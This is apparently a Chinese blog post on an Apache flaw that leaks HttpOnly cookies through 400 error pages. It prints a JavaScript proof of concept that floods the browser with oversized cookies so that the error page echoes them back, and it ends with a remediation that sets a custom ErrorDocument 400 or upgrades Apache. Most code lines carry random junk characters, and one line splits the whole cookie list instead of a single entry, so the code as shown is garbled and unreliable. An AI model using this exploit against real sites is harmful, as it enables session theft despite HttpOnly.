Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
8 G7 F5 q0 o- ?6 E$ V
, h% f( G# E6 A9 _- P
( d  K! d0 W$ b* ~. M  w  J% J// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
" U: F1 G" p7 `7 J6 r7 J2 o/ {  @// Construct string for cookie value
var str = "";
, O2 |. S5 a0 I8 G* Y' i0 h% afor (var i=0; i< 819; i++) {
' q# d1 [% K4 l& N& ?; H0 Q& pstr += "x";
}
; \- T- k4 A0 D, p// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
- ]. ^! K4 a* h1 \var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
9 a$ r. t1 \. [6 o" t}
% j% M; b4 W9 i// Set evil cookie
else {
) c2 R1 Y, F. ?0 k0 qvar cookie = "xss"+i+"="+str+";path=/";
8 t" c! A& Z. _9 l}
document.cookie = cookie;
  \' ~, k# |6 Z/ b) d, L$ X}
4 L" k5 n1 R5 p# S9 \8 r}
1 J/ v5 @! I/ J, }function makeRequest() {
. \6 r( p6 N2 T& TsetCookies();
1 Q7 I* G$ a4 Z8 afunction parseCookies () {
var cookie_dict = {};
$ T- C. w' u  M9 `+ @) w// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
  G  Y+ V6 T3 D, V// Replace newlines and match <pre> content
) e/ U' n4 d4 e3 ]var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
) B7 n- B4 D: Rfor (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
5 d+ w4 v+ F- H; z# D0 x/ H. w}
}
// Unset malicious cookies
# b4 @- X- f$ s) H, QsetCookies(true);
alert(JSON.stringify(cookie_dict));
}
0 X  i( e9 S. |3 G$ h" t; w+ t}
) C, t; N5 k! F$ P/ X+ c2 r// Make XHR request
' O- N  s# k8 `var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
+ {2 k! Y8 U% bxhr.send(null);
}
* V$ \& c1 x3 n1 q5 l6 fmakeRequest();
3 \" u$ E# j* J5 h
6 Y' v/ E9 z4 M# E7 K你就能看见华丽丽的400错误包含着cookie信息。
3 s) C- {3 X1 c8 ~8 R# {/ c
7 G& q* X2 I1 a& o5 Y" W下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：
( f; ~8 W* Z$ W
$ E3 F; @8 P0 W9 s- d0 b/ |- v% ]+ z' g% jApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
- c3 d; J; G. z& @0 J* c
In the event of a problem or error, Apachecan be configured to do one of four things,

+ U; h7 V& h" O6 }& J6 W0 C1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
& k# r* J' F$ ]3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
3 T9 R! e' h  R# B! R7 a: K
经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
: h# X' L4 o3 A' a& t
. D" |" D, M" M2 E. W  ]Apache配置：

ErrorDocument400 " security test"
. o' Y/ w+ v1 [% h$ }6 \9 S8 D% X/ g
当然，升级apache到最新也可：）。
" V, J8 j& C, ~3 _* p8 y
参考：http://httpd.apache.org/security/vulnerabilities_22.html

. F% N& |9 j' ~0 O+ {